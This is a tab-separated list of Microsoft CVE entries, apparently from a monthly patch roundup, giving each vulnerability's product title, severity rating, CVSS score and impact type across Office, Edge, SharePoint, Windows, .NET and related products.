CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
